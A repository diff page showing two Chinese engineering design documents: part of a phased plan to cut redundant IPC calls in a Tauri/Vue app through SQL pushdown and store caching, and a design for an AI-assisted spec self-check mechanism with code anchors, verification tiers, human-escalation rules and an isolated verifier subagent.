|
||||
```
|
||||
|
||||
⚠️ **前置条件(评审纠错)**:原方案声称"App.vue 根 onMounted 已有 projects 预加载",经核验**不成立**——App.vue onMounted 只做 appSettings/migrate/theme/locale/Agentic 轮次恢复/AR-11 listener 启动,**未调用 `store.loadProjects()`**。当前 projects 加载分散在各视图 onMounted 中(Tasks/ProjectDetail/Dashboard 各自调)。
|
||||
|
||||
采用方案 A 必须二选一补齐前置:
|
||||
- **A-1(推荐)**:App.vue onMounted 加 `await store.loadProjects()`(一行改动,全局受益,所有视图共享缓存)。
|
||||
- **A-2(保守)**:TaskDetail load() 内加 `if (store.projects.length === 0) await store.loadProjects()` lazy 补偿,不依赖全局预加载。
|
||||
|
||||
**方案 B**:两步查询单个项目,替代全量 `projectApi.list()`:
|
||||
|
||||
```typescript
|
||||
async function load() {
|
||||
task.value = await taskApi.get(taskId.value)
|
||||
// 拿到 task 后按 project_id 查单个项目
|
||||
if (task.value?.project_id) {
|
||||
const p = await projectApi.get(task.value.project_id)
|
||||
projectName.value = p?.name ?? task.value.project_id
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
方案 B 无先后依赖问题(串行两步,先 task 后 project),IPC 开销为查 1 条 vs 查全量。**不依赖全局 store 状态**,保持 TaskDetail"绕 store 独立入口"的设计一致性。
|
||||
|
||||
**推荐**:
|
||||
- 若同时实施 Phase 2 缓存 → **方案 A-1**(App.vue 预加载 + store 缓存,全链路最优)
|
||||
- 若只实施 Phase 1 → **方案 B**(零全局依赖,改动最小,不引入 store 耦合)
|
||||
|
||||
---
|
||||
|
||||
### Phase 2:前端缓存 + 去重(中等风险,中 ROI)
|
||||
|
||||
**目标**:避免路由切换时的重复 IPC,引入脏标记/时间戳缓存。
|
||||
|
||||
**改动点**:
|
||||
|
||||
#### 2.1 store 加载方法增加新鲜度判断
|
||||
|
||||
⚠️ **评审补充 — tasks 缓存筛选维度冲突**:`loadTasks(projectId?)` 带筛选参数。若 Tasks 视图选了项目 A(`store.tasks` 只含项目 A),30s 内切到 Dashboard 调 `loadTasks()` 无参全量——缓存命中跳过,但 `store.tasks` 仍是项目 A 子集,Dashboard 的 `stats.activeTasks` 统计错误。
|
||||
|
||||
**解决方案**:tasks 缓存须记录筛选维度,筛选变化时强制刷新:
|
||||
|
||||
```typescript
|
||||
// stores/project/state.ts 新增
|
||||
export const state = reactive({
|
||||
// ...existing...
|
||||
_projectsLoadedAt: 0,
|
||||
_tasksLoadedAt: 0,
|
||||
_ideasLoadedAt: 0,
|
||||
_tasksFilter: undefined as string | undefined, // 当前 tasks 缓存对应的筛选(undefined=全量)
|
||||
})
|
||||
|
||||
// stores/project/projects.ts
|
||||
const STALE_MS = 30_000 // 30s 内不重复拉取
|
||||
|
||||
async function loadProjects(force = false) {
|
||||
if (!force && Date.now() - state._projectsLoadedAt < STALE_MS && state.projects.length > 0) {
|
||||
return // 数据新鲜,跳过
|
||||
}
|
||||
state.loading = true
|
||||
state.projects = await projectApi.list()
|
||||
state._projectsLoadedAt = Date.now()
|
||||
}
|
||||
|
||||
// stores/project/tasks.ts — 筛选维度 + TTL 双判断
|
||||
async function loadTasks(projectId?: string, force = false) {
|
||||
const filter = projectId // undefined=全量, string=按项目
|
||||
// 筛选变化 → 强制刷新(防 Dashboard 拿到 Tasks 视图的子集)
|
||||
const filterChanged = state._tasksFilter !== filter
|
||||
if (!force && !filterChanged && Date.now() - state._tasksLoadedAt < STALE_MS) {
|
||||
return // 数据新鲜 + 筛选一致,跳过
|
||||
}
|
||||
state.loading = true
|
||||
state.tasks = await taskApi.list(filter)
|
||||
state._tasksLoadedAt = Date.now()
|
||||
state._tasksFilter = filter
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 AR-11 事件联动失效缓存
|
||||
|
||||
⚠️ **评审补充 — AR-11 条件刷新与缓存交互**:当前 AR-11 listener 的 task 分支有 `_activeTaskProject !== undefined` 守卫(CR-260615-26)。若 Tasks 视图未挂载(undefined),entity=task 时不触发 load,缓存也不失效。用户之后进 Tasks 时 onMounted 调 `loadTasks`,若缓存未过期则命中跳过——拿到过期数据。
|
||||
|
||||
**解决方案**:AR-11 失效缓存与条件刷新分离——缓存时间戳无条件清零(下次 load 必拉新),load 调用仍守卫:
|
||||
|
||||
```typescript
|
||||
// stores/project.ts startDataChangedListener
|
||||
if (entity === 'project') {
|
||||
state._projectsLoadedAt = 0 // 无条件失效缓存
|
||||
void projectsStore.loadProjects(true) // force 刷新
|
||||
} else if (entity === 'task') {
|
||||
state._tasksLoadedAt = 0 // 无条件失效缓存(下次任意视图 loadTasks 必拉新)
|
||||
if (_activeTaskProject !== undefined) {
|
||||
void tasksStore.loadTasks(_activeTaskProject === 'all' ? undefined : _activeTaskProject)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.3 Dashboard loadAll 利用缓存
|
||||
|
||||
⚠️ **评审补充 — Dashboard stats 对 tasks 全量的依赖**:Dashboard 的 `stats.activeTasks`(`project.ts:105`)从 `state.tasks` 算 `filter(t => t.status === 'in_progress').length`。若 `state.tasks` 是某项目子集(Tasks 视图留下的),统计偏小。Dashboard loadAll 须确保 tasks 全量:
|
||||
|
||||
```typescript
|
||||
// Dashboard.vue
|
||||
async function loadAll() {
|
||||
await Promise.all([
|
||||
store.loadProjects(), // 命中缓存则跳过
|
||||
store.loadTasks(), // 无参=全量;筛选维度变化时强制刷新(2.1 逻辑保证)
|
||||
store.loadIdeas(),
|
||||
])
|
||||
}
|
||||
```
|
||||
|
||||
> Dashboard 调 `loadTasks()` 无参(filter=undefined),若 Tasks 视图留下的 filter 是某项目 id,`filterChanged=true` → 强制全量刷新,stats 正确。
|
||||
|
||||
**风险**:
|
||||
- `df-data-changed` 必须可靠失效缓存(当前 AR-11 已覆盖 create/update/delete/restore/purge/bind_directory)
|
||||
- 用户在外部修改 SQLite(如直接操作数据库)后缓存不新鲜 — 桌面应用场景概率极低
|
||||
|
||||
---
|
||||
|
||||
### Phase 3:字段投影(低优先级,远期)
|
||||
|
||||
**目标**:列表场景只返回需要的字段,减少 IPC 传输 + 序列化开销。
|
||||
|
||||
**现状评估**:当前数据量极小(6 项目 15 任务),description 字段平均 ~500 字节,全量传输 < 10KB。**Phase 3 在数据量达到百级之前不需要实施。**
|
||||
|
||||
**预留方案**(不实施,仅记录):
|
||||
|
||||
```rust
|
||||
// 方向:impl_repo! 宏扩展 columns 参数,或新增 list_summary 方法
|
||||
pub async fn list_active_summary(&self) -> Result<Vec<ProjectSummary>> {
|
||||
// SELECT id, name, status, created_at, updated_at FROM projects WHERE ...
|
||||
}
|
||||
```
|
||||
|
||||
前端新增 `ProjectSummary` / `TaskSummary` 类型,列表视图用 Summary,详情页用完整 Record。
|
||||
|
||||
**成本**:需新增 DTO 类型 + 前端类型同步 + 视图适配,复杂度较高。
|
||||
|
||||
---
|
||||
|
||||
### 2.3 优先级矩阵
|
||||
|
||||
| Phase | 问题覆盖 | 风险 | ROI | 建议时机 |
|
||||
|-------|---------|------|-----|---------|
|
||||
| Phase 1 | P1 + P2 + P3 | 低(不改 API 契约) | 高 | **立即实施** |
|
||||
| Phase 2 | P4 + P5 | 中(缓存一致性) | 中 | Phase 1 验证后 |
|
||||
| Phase 3 | P6 | 低(纯新增) | 低(当前数据量) | 数据量达百级时 |
|
||||
|
||||
### 2.4 涉及文件
|
||||
|
||||
| Phase | 文件 | 改动类型 |
|
||||
|-------|------|---------|
|
||||
| 1.1 | `crates/df-storage/src/crud/task_repo.rs` | 新增 `list_active_by_project` 方法 |
|
||||
| 1.2 | `src-tauri/src/commands/task.rs` | `list_tasks` 路由分支 |
|
||||
| 1.3 | `src/views/ProjectDetail.vue` | 改用本地 ref + 精确拉取 + **新增 df-data-changed 本地监听** |
|
||||
| 1.4 | `src/views/TaskDetail.vue` | 方案 B:改用 `projectApi.get(id)` 单查;或方案 A-1/A-2 复用 store.projects |
|
||||
| 1.4-A1 | `src/App.vue` | (方案 A-1)onMounted 新增 `store.loadProjects()` 预加载 |
|
||||
| 2.1 | `src/stores/project/state.ts` | 新增时间戳 + `_tasksFilter` 字段 |
|
||||
| 2.2 | `src/stores/project/projects.ts` | loadProjects 加新鲜度判断 |
|
||||
| 2.3 | `src/stores/project/tasks.ts` | loadTasks 加筛选维度 + TTL 双判断 |
|
||||
| 2.4 | `src/stores/project.ts` | AR-11 listener 无条件失效缓存 + 条件刷新分离 |
|
||||
| 2.5 | `src/views/Dashboard.vue` | loadAll 利用缓存(筛选维度保证全量 tasks) |
|
||||
|
||||
### 2.5 验收标准
|
||||
|
||||
#### Phase 1
|
||||
1. `list_tasks(Some(pid))` 走 SQL WHERE 下推,不再内存过滤
|
||||
2. `ProjectDetail.vue` 不再全量 loadTasks,改为按 projectId 精确拉取
|
||||
3. `ProjectDetail.vue` 新增本地 `df-data-changed` 监听,entity=task 时刷新 localTasks
|
||||
4. `TaskDetail.vue` 不再独立 `projectApi.list()`(改用方案 B 单查或方案 A 复用 store)
|
||||
5. B-260615-29 契约不破坏(store.tasks 仍反映 Tasks 视图筛选)
|
||||
6. AR-11 事件联动正常(create/update/delete 后 ProjectDetail + Tasks 列表均刷新)
|
||||
7. 若选方案 A-1:App.vue onMounted 成功预加载 projects,TaskDetail projectName 正确解析
|
||||
8. 若 F-260619-01 已先行:`list_active_by_project` SQL 含 idea_id 列(或用 SELECT *)
|
||||
9. `cargo check --workspace` EXIT 0 + `vue-tsc` EXIT 0
|
||||
|
||||
#### Phase 2
|
||||
10. 30s 内路由切换不重复 IPC(store 缓存命中)
|
||||
11. `df-data-changed` 事件正确失效缓存并刷新
|
||||
12. Dashboard 统计数据准确(Tasks 视图筛选某项目后切 Dashboard,stats 不偏小)
|
||||
13. Tasks 视图未挂载时 AR-11 entity=task 事件仍清零缓存(下次进 Tasks 拿新数据)
|
||||
|
||||
### 2.6 风险评估
|
||||
|
||||
| 风险 | 概率 | 影响 | 缓解措施 |
|
||||
|------|------|------|---------|
|
||||
| ProjectDetail 改本地 ref 后 AR-11 不刷新任务 | **高** | 中 | **必须配套**:onMounted 新增本地 `df-data-changed` 监听,entity=task 时重新 `taskApi.list(projectId)`(详见 1.3) |
|
||||
| TaskDetail 改用 store.projects 时 projects 未加载 | 中 | 低 | App.vue onMounted **新增** `store.loadProjects()`(A-1),或 TaskDetail 内 lazy 补偿(A-2),或改用方案 B 完全规避 |
|
||||
| Phase 2 缓存筛选维度冲突致 Dashboard stats 错误 | 中 | 中 | tasks 缓存记录 `_tasksFilter`,筛选变化时 `filterChanged=true` 强制刷新(详见 2.1) |
|
||||
| Phase 2 AR-11 守卫 + 缓存致 Tasks 拿过期数据 | 中 | 低 | AR-11 无条件清零 `_tasksLoadedAt`(下次 load 必拉新),load 调用仍守卫(详见 2.2) |
|
||||
| Phase 2 缓存导致用户看到过期数据 | 低 | 低 | 30s TTL 短 + AR-11 强制失效 + 手动刷新按钮兜底 |
|
||||
| list_active_by_project SQL 列与 idea_id 不同步 | 中 | 中 | 两案并行时同步加列,或改用 `SELECT *`(详见 1.1) |
|
||||
| list_active_by_project SQL 注入 | 极低 | 高 | 使用参数化查询 `params![project_id]`,不走 `query` 宏的 field 拼接 |
|
||||
|
||||
---
|
||||
|
||||
## 三、决策记录
|
||||
|
||||
### D1:Phase 1 先行,Phase 2 视需
|
||||
|
||||
**理由**:Phase 1 是纯内部优化(SQL 下推 + 精确拉取),不改 API 契约,风险极低,ROI 明确。Phase 2 引入缓存层有一致性风险,待 Phase 1 验证后再评估必要性。
|
||||
|
||||
### D2:不实施 Phase 3(字段投影)
|
||||
|
||||
**理由**:当前数据量极小(< 10KB 全量传输),字段投影需新增 DTO 类型 + 前端类型同步 + 视图适配,成本远高于收益。当任务数达到 ~200+ 或 description 平均长度 > 5KB 时再评估。
|
||||
|
||||
### D3:ProjectDetail 用本地 ref 而非改 store 契约
|
||||
|
||||
**理由**:store.tasks 全局单例 + B-260615-29 筛选契约是硬约束(C1)。改 store 支持"多任务列表"会引入复杂度(哪个视图的数据?切换时怎么办?)。ProjectDetail 用本地 ref + 精确拉取更简单清晰,且 AR-11 可通过本地监听补偿。
|
||||
359
docs/02-架构设计/专项设计/规格契约自检机制-2026-06-14.md
Normal file
359
docs/02-架构设计/专项设计/规格契约自检机制-2026-06-14.md
Normal file
@@ -0,0 +1,359 @@
|
||||
# 规格契约自检机制
|
||||
|
||||
> 创建:2026-06-13 | 阶段:设计定稿,待落地
|
||||
> 性质:设计说明 + 可执行规格基准。后续 `spec-verifier` agent、`/spec-check` skill、自检 hook 均从本文档推导。
|
||||
|
||||
---
|
||||
|
||||
## 0. 背景与问题
|
||||
|
||||
全程 AI coding 下,开发节奏快(实测 ~4 Sprint/天),产生两个痛点:
|
||||
|
||||
1. **规格无锚点 → 漂移 → 不敢当契约用**:写下的 spec 没人验证,与代码逐渐脱节,最终失去参考价值。
|
||||
2. **done/todo/decision 散落 → 记不住**:做了什么、没做什么、做了哪些决策,事后查不清。
|
||||
|
||||
**错误方向**:新建独立的「需求规格」文档。静态 spec 必漂移;本项目无外部契约/验收需求,spec 的核心价值(沟通契约/验收基准)不成立;独立文档违反 SSOT,成为第三处真相源。
|
||||
|
||||
**正确方向**:**活契约(living contract)**——契约跟决策一起演进,由 AI 自检维持与代码一致。不新建文档,改造现有功能决策记录。
|
||||
|
||||
---
|
||||
|
||||
## 1. 核心方向:活契约
|
||||
|
||||
契约不单独成文,而是挂在功能决策记录的每条决策上。一条 `✅ 已落地` 的决策,就是一条当前生效的契约。
|
||||
|
||||
```
|
||||
决策记录(活契约载体)
|
||||
├─ 决策三要素:决策 / 原因 / 状态
|
||||
├─ 代码锚点:让契约可被验证(机制 A)
|
||||
└─ 状态字段:聚合出完成度(机制 B)
|
||||
↓
|
||||
AI 自检维持契约与代码一致(机制 C/D/E)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. 机制 A:代码锚点(防漂移)
|
||||
|
||||
给 `✅ 已落地` 的决策加一个**代码锚点**。锚点以**符号名 + grep 关键词为主锚**(跨修改稳定),**行号为辅锚**(最近定位,可漂,AI 自愈)。规格真相留在代码里,文档只留索引 + 意图。
|
||||
|
||||
### 形态
|
||||
|
||||
```markdown
|
||||
### connect_timeout 不设总 timeout [Sprint 6]
|
||||
- 决策:reqwest Client 加 connect_timeout(30s),不设总 timeout
|
||||
- 原因:连接阶段防无限 hang;总 timeout 会误砍流式长生成任务
|
||||
- 状态:✅ 已落地
|
||||
- 锚点:符号 `Client::new` | grep `connect_timeout` @ client.rs:142(行可漂,AI 自愈)
|
||||
- 自检:PostEdit 触发锚点一致性 | 上次:2026-06-13 ✅
|
||||
```
|
||||
|
||||
- **锚点**:符号 + grep 为主(真相),行号为辅(快照)。人补一次,AI 维护行号。
|
||||
- **自检行**:AI 验证后回写时间戳与结果,人扫一眼即知近期是否验过。
|
||||
|
||||
### 主辅分明:为什么行号不是主体
|
||||
|
||||
| 锚组成部分 | 稳定性 | 角色 |
|
||||
|------------|--------|------|
|
||||
| 符号名(函数/类/常量) | 高(重构才改) | 主锚 |
|
||||
| grep 关键词 | 中高 | 主锚(定位调用点) |
|
||||
| 行号 | 低(加删几行就漂) | 辅锚(最近定位,可漂) |
|
||||
|
||||
代码高频修改下,行号必然漂;行号作主体 = 锚点必然失效。符号 + grep 才是跨修改稳定的真相。
|
||||
|
||||
### 三层抗漂
|
||||
|
||||
1. **行号漂(最常见)**:grep 不受影响,重新定位。AI 自愈(行号漂但 grep 在附近 → 自动修);机制未跑时 grep 命中也能秒级定位。人无感。
|
||||
2. **符号/grep 漂(罕见,如重命名)**:必伴随决策变更 → grep 失效 = 正确的报警信号,触发决策同步(命中第 5 节"信息不足"上报条件)。
|
||||
3. **功能删除**:grep 全失效 → 报警 → 人确认废弃或误删。
|
||||
|
||||
维护靠 AI 不靠人:人只在新增决策时补一次锚点;之后行号漂由 AI 在自检环节自愈,人改代码时无需动锚点。
|
||||
|
||||
### 状态阀门:锚点只绑稳定态
|
||||
|
||||
锚点验证只对相对稳定的契约有效。剧烈重构期契约本身不稳,强行锚是噪音。
|
||||
|
||||
| 状态 | 是否锚 | 原因 |
|
||||
|------|--------|------|
|
||||
| `✅ 已落地` | 锚定 | 稳定,可验证 |
|
||||
| `🚧 待实测` | 不锚/暂锚 | 不稳定,重构中 |
|
||||
| `📐 设计未实施` | 不锚 | 未实现,无代码可锚 |
|
||||
|
||||
重构完成、代码稳了,`🚧→✅` 再锚定。状态字段是防锚点失效的阀门。
|
||||
|
||||
---
|
||||
|
||||
## 3. 机制 B:完成度聚合表
|
||||
|
||||
完成情况已编码在状态字段里(✅/🚧/📐)。缺的是按状态聚合的视图。在功能决策记录头部维护一张索引表:
|
||||
|
||||
```markdown
|
||||
## 完成度总览
|
||||
|
||||
| 状态 | 数量 | 代表条目 |
|
||||
|------|------|----------|
|
||||
| ✅ 已落地 | 38 | connect_timeout、provider 路由、知识库 Tier 分层 |
|
||||
| 🚧 待实测 | 5 | 审计回写、… |
|
||||
| 📐 设计未实施(TODO) | 12 | 向量检索、count_any 否定检测、IdeaPromoter 接线 |
|
||||
```
|
||||
|
||||
- `✅` = 做了什么;`📐` = 没做什么;决策条目 = 做了哪些决策。三问一表答完。
|
||||
- 增量维护:新增决策更新计数;`📐→✅` 迁移挪列。按状态聚合,不按时间,比 PROGRESS 流水好查。
|
||||
|
||||
---
|
||||
|
||||
## 4. AI 自检:三级验证
|
||||
|
||||
| 层级 | 验证内容 | 可靠性 | 谁验 |
|
||||
|------|----------|--------|------|
|
||||
| **L1 锚点存在性** | 文件:行 + grep 关键词命中 | ✅ 高(确定性) | 主代理 grep |
|
||||
| **L2 取值一致性** | 具体数值/标志是否如 spec 所述 | ⚠️ 中(范围窄,误读低) | 主代理读码 |
|
||||
| **L3 行为契约** | 代码逻辑是否遵守 spec 意图 | ❌ 低(主观) | 子代理最小上下文 |
|
||||
|
||||
**核心贡献**:AI 把脆弱的行号锚点变成自愈的语义锚点——
|
||||
- 行号漂但 grep 关键词在附近 N 行 → **AI 自动修正锚点行号**(可逆,自处理)。
|
||||
- 关键词消失 → **真报警**,语义变了,需人决策。
|
||||
|
||||
---
|
||||
|
||||
## 5. 分流规则:AI 能做 vs 人必须做
|
||||
|
||||
目标:让 AI 机械吞掉确定性/低风险/可逆的 80%,只把真正需要人脑的推到人面前。
|
||||
|
||||
### 5.1 两轴判定矩阵
|
||||
|
||||
| | 客观唯一(确定) | 主观/多解 |
|
||||
|---|---|---|
|
||||
| **只读/可逆** | ✅ AI 全权自处理 | ⚠️ AI 给候选 → 人定 |
|
||||
| **有后果/不可逆** | ⚠️ 报告 → 人定 | 🔴 必须人定 |
|
||||
|
||||
### 5.2 两条机械判定
|
||||
|
||||
**AI 自处理(不报人)的充要条件**:`确定性 = 客观 AND 动作 = 可逆`。
|
||||
(锚点行号自愈、数值核对一致、自检时间戳回写。)
|
||||
|
||||
**必须上报人的条件(任一命中即报)**:
|
||||
1. **主观**——验证答案不唯一(行为契约、意图符合性)。
|
||||
2. **有后果**——动作不可逆(改决策语义、标记契约被破坏、回滚代码)。
|
||||
3. **信息不足**——AI 无法判定(锚点关键词消失,但不知是否故意改的)。
|
||||
|
||||
### 5.3 兜底安全阀
|
||||
|
||||
规则未覆盖的场景,**默认上报人**,不擅自自处理。宁可多报,不可漏报关键。
|
||||
|
||||
### 5.4 高后果判定(决定是否触发子代理)
|
||||
|
||||
| 判为高后果(满足任一) | 例 |
|
||||
|------------------------|-----|
|
||||
| 数据完整性 | 写库、迁移、状态机流转 |
|
||||
| 并发安全 | 锁、共享状态、异步竞态 |
|
||||
| 安全 | 鉴权、注入、凭据处理 |
|
||||
| 外部契约 | API/协议、第三方对接 |
|
||||
| 不可逆操作 | 删除、覆盖、发布 |
|
||||
|
||||
高后果决策即使主代理自检报绿,仍触发子代理第二意见。
|
||||
|
||||
---
|
||||
|
||||
## 6. 反馈规格:五字段决策单元
|
||||
|
||||
上报给人的每条,必须是**可点的闭合决策**,不是要调查的谜题。AI 把上下文打包进去,人只回答 yes/no 或选 A/B。
|
||||
|
||||
```markdown
|
||||
🔴 [决策名] connect_timeout 不设总 timeout
|
||||
锚点:client.rs:142 | 实际:行号漂至 158,且 grep "timeout" 消失
|
||||
证据:预期 .connect_timeout(30s) 无 .timeout() | 实际代码已加 .timeout(60s)
|
||||
为何上报:命中「信息不足」——无法判定是故意改回总 timeout,还是误改
|
||||
候选:A. 故意改 → 更新决策记录(状态/原因)
|
||||
B. 误改 → 回滚代码(AI 推断 B 更可能:总 timeout 会误砍流式)
|
||||
需你定:A 还是 B?
|
||||
```
|
||||
|
||||
「为何上报」显式化分流规则,使判定可审计。
|
||||
|
||||
---
|
||||
|
||||
## 7. 子代理隔离验证(L3 / 高后果层)
|
||||
|
||||
### 7.1 为什么用 agent 不用 skill
|
||||
|
||||
| | Skill | Agent |
|
||||
|---|---|---|
|
||||
| 上下文 | 复用主对话,**不隔离** | 独立窗口,**隔离** |
|
||||
| 偏误 | 主代理带作者偏误执行(白搭) | 消除作者偏误 |
|
||||
|
||||
主代理验证有结构性确认偏误:决策是它记的、代码是它改的,倾向支持自己对。**隔离验证必须 agent。**
|
||||
|
||||
### 7.2 零上下文 → 最小必要上下文
|
||||
|
||||
完全零上下文是双刃剑:子代理无领域知识会误判(局外人偏误)。正确形态是**给事实,不给立场**——子代理是陪审员,只看证据下判断。
|
||||
|
||||
**卷宗格式**(由编排方构造,传入 agent):
|
||||
|
||||
```
|
||||
断言:此函数应"丢弃残缺响应,不入库"
|
||||
证据:<精确代码片段>
|
||||
任务:判断代码行为是否符合断言
|
||||
```
|
||||
|
||||
**不给**:决策原因字段、对话历史、是否刚改的、当初怎么定的。
|
||||
|
||||
### 7.3 分歧才报人
|
||||
|
||||
子代理不替代人,是在「上报人」前加第二意见:
|
||||
|
||||
```
|
||||
主代理自检(带上下文判一次)
|
||||
├─ L1/L2 确定性 → 自处理
|
||||
└─ L3/高后果 → 起 spec-verifier agent(最小上下文判一次)
|
||||
├─ 两代理一致(都绿/都红)→ 按结论走
|
||||
└─ 两代理分歧 → 🔴 报人(分歧暴露主观性,只有人能定)
|
||||
```
|
||||
|
||||
人的事件面从「所有主观项」压缩到「主观项中的分歧项」。
|
||||
|
||||
---
|
||||
|
||||
## 8. 触发环节:何时拉起 Agent
|
||||
|
||||
起 agent ⟺ 命中下列环节之一 AND 验证项是主观层(L3)或高后果。
|
||||
|
||||
| 环节 | 时机 | 起 agent? | 验证范围 | 频率控制 |
|
||||
|------|------|-----------|----------|----------|
|
||||
| **A 改代码** | PostEdit hook,改到挂锚文件 | 改到高后果锚点才起;L1/L2 主代理自验 | 仅被改那条契约 | 每次相关编辑,单条 |
|
||||
| **B 回合结束** | Stop hook(降频) | 本回合涉及的高后果/主观项 | 本回合动过的 | 抽样,≥10 轮/≥10 min |
|
||||
| **C 主动审计** | 手动 `/spec-check` | 全部 L3/高后果 | 所有 ✅ 决策 | 人触发,全量并行 |
|
||||
| **D 记录决策** | decision-record 标 ✅/演进时 | 新记或 📐→✅ 的高后果项 | 该单条 | 每次 ✅ 迁移 |
|
||||
|
||||
- **A 最值钱**:在「可能制造漂移的时刻」拦截,单条,便宜。优先级最高。
|
||||
- **B 兜底**:catch A 漏的(一处改多处)。
|
||||
- **C 体检**:清历史漂移,最贵,人触发。
|
||||
- **D 防脱节**:决策记了但代码没跟上,✅ 迁移时必验。
|
||||
|
||||
全程 AI coding 下,A/B 自动跑零摩擦,C 人按需,D 跟 decision-record 自然触发。无需人记「该验证了」。
|
||||
|
||||
---
|
||||
|
||||
## 9. 三层架构与组件骨架
|
||||
|
||||
```
|
||||
hook(时机)→ /spec-check skill(编排)→ spec-verifier agent(隔离验证)
|
||||
PostEdit/Stop 读记录+分流+封装卷宗 最小上下文判定
|
||||
L1/L2 自处理 L3/高后果
|
||||
收集+分歧上报 返回:判定+置信+分歧点
|
||||
```
|
||||
|
||||
### spec-verifier agent(`.claude/agents/spec-verifier.md`)
|
||||
|
||||
```
|
||||
你是独立契约验证者。只依据调用方给你的【断言+证据】判断。
|
||||
不假设意图,不参考对话历史,不信任任何"应该是什么"的预设。
|
||||
输出:判定(符合/违反/无法判定)+ 置信度 + 关键分歧点(一句话)。
|
||||
无法判定时必须明说,禁止凑结论。
|
||||
```
|
||||
|
||||
### /spec-check skill(`.claude/skills/spec-check/`)
|
||||
|
||||
```
|
||||
1. 读功能决策记录,提取所有 ✅ 条目(锚点+断言)
|
||||
2. 分流:L1/L2(确定性)→ 自己 grep 验,自处理
|
||||
L3/高后果(主观)→ 调 spec-verifier agent(传断言+代码片段,不传决策原因)
|
||||
3. 主代理自己也判一次 L3(带上下文)
|
||||
4. 比对:分歧项 → 按五字段格式化上报;一致项 → 按结论走
|
||||
5. 锚点行号漂移 → 自愈(可逆,自处理)
|
||||
```
|
||||
|
||||
基建复用:devflow 已在用 hook(Stop 降频)+ skill(/review、decision-record)。三层机制全是同构基建,不引入新依赖。
|
||||
|
||||
---
|
||||
|
||||
## 10. 落地顺序
|
||||
|
||||
1. **本文档定稿**(当前)——后续所有实现的规格基准。
|
||||
2. **功能决策记录瘦身 + 补锚点**——删微决策膨胀(730→~300),给 ✅ 条目补代码锚点。
|
||||
3. **主代理自检 hook**——PostEdit(环节 A)+ Stop 降频(环节 B),覆盖 L1/L2 确定性层。
|
||||
4. **spec-verifier agent + /spec-check skill**——覆盖 L3/高后果,四环节(A/B/C/D)主观层。
|
||||
5. **分歧上报机制**——五字段决策单元,接入 Stop hook 通知。
|
||||
|
||||
---
|
||||
|
||||
## 11. 用户操作指南
|
||||
|
||||
> 本节是人视角的操作手册。机制细节见 2-9 节,这里只讲「你做什么」。
|
||||
|
||||
### 心智模型:3 按钮 + 1 屏
|
||||
|
||||
整个机制里,人只做三件事,看一块屏。其余全是 AI 自动。
|
||||
|
||||
| | 人的动作 | 时机 |
|
||||
|---|----------|------|
|
||||
| 🔘 记决策 | 做取舍时,让 AI 用 decision-record 记下(决策/原因/状态) | 每次开发有取舍 |
|
||||
| 🔘 裁决分歧 | AI 上报时,在候选里选 A 或 B | 子代理与主代理打架时(偶发) |
|
||||
| 🔘 跑体检 | 执行 `/spec-check` 全量扫描 | 大版本前 / 重构后 |
|
||||
| 🖥 完成度表 | 翻功能决策记录头部「完成度总览」表 | 想看进度时 |
|
||||
|
||||
### 人 vs AI 分工
|
||||
|
||||
| 动作 | 归属 | 频率 |
|
||||
|------|------|------|
|
||||
| 做开发取舍(选 A 不选 B) | 人 | 每次开发 |
|
||||
| 记决策 + 补锚点 | AI 做,人确认 | 决策落地时 |
|
||||
| 维护锚点行号(自愈) | AI | 自动 |
|
||||
| 验证代码符合契约 | AI | 自动 |
|
||||
| 起 hook / 子代理自检 | AI | 自动 |
|
||||
| 裁决 AI 分歧 | 人 | 上报时 |
|
||||
| 查进度 | 人(看表) | 随时 |
|
||||
|
||||
人只做两件:**记决策 + 裁决分歧**。验证、维护、检查全归 AI。
|
||||
|
||||
### 看的入口与时机
|
||||
|
||||
| 想知道 | 看哪里 | 时机 |
|
||||
|--------|--------|------|
|
||||
| 做了/没做/做了哪些决策 | 功能决策记录头部「完成度总览」表 | 随时 |
|
||||
| AI 发现的契约冲突 | 上报条目(五字段:锚点/证据/为何上报/候选/需你定) | 被动收(偶发) |
|
||||
| 全量漂移体检 | `/spec-check` 红项报告 | 主动(大版本前) |
|
||||
|
||||
### 做的节奏
|
||||
|
||||
- **记决策**:开发中一有取舍,当场记。齿轮转起来的起点,零额外成本。
|
||||
- **裁决**:收到上报 → 选 A/B → AI 执行。
|
||||
- **体检**:每 Sprint 末或重构后跑一次 `/spec-check`,清历史漂移。
|
||||
- **迭代机制**:规则不准(误报/漏报)→ 改本文档第 5 节分流规则。机制文档是活的。
|
||||
|
||||
### 一天的工作流
|
||||
|
||||
```
|
||||
开发中做取舍 ──→ 🔘记决策(AI 补锚点,人不管)
|
||||
│
|
||||
│ AI 后台:hook 自检 / 子代理验证 / 行号自愈
|
||||
│
|
||||
AI 打架?─是─→ 🔘裁决(选 A/B)
|
||||
│否
|
||||
▼
|
||||
想看进度 ────→ 🖥翻完成度表
|
||||
│
|
||||
大版本前 ────→ 🔘跑 /spec-check 体检
|
||||
```
|
||||
|
||||
### 当前态:能做什么
|
||||
|
||||
机制尚未落地(落地链 ②-⑤)。当前能力边界:
|
||||
|
||||
| 能力 | 现在 | 建成后 |
|
||||
|------|------|--------|
|
||||
| 🔘 记决策 | ✅ 已有(decision-record) | ✅ |
|
||||
| 🖥 完成度表 | ❌ 需先补锚点 + 建表(②) | ✅ |
|
||||
| 🔘 裁决上报 | ❌ 需 ③④⑤ | ✅ |
|
||||
| 🔘 /spec-check | ❌ 需 ④ | ✅ |
|
||||
|
||||
解锁其余能力的起点是落地链 ②:补锚点 + 建完成度表。
|
||||
|
||||
---
|
||||
|
||||
## 12. 诚实边界
|
||||
|
||||
- **AI 自检降低漂移,不消除。** 行为级契约仍需人盯。别因「AI 验过」就放心改语义。
|
||||
- **同一 AI 的盲区贯穿写与验。** 全程 AI coding 下,当初记录漏掉的约束,验证时 AI 也想不到查。关键决策的 spec,人过一眼。
|
||||
- **一致 ≠ 正确。** 两代理一致时仍可能共享同一盲区(spec 本身写错,两代理按错的理解一致)。一致只代表「无分歧可上报」。
|
||||
- **selective 用子代理。** 全用 = 成本爆炸。只 L3 + 高后果。
|
||||
Reference in New Issue
Block a user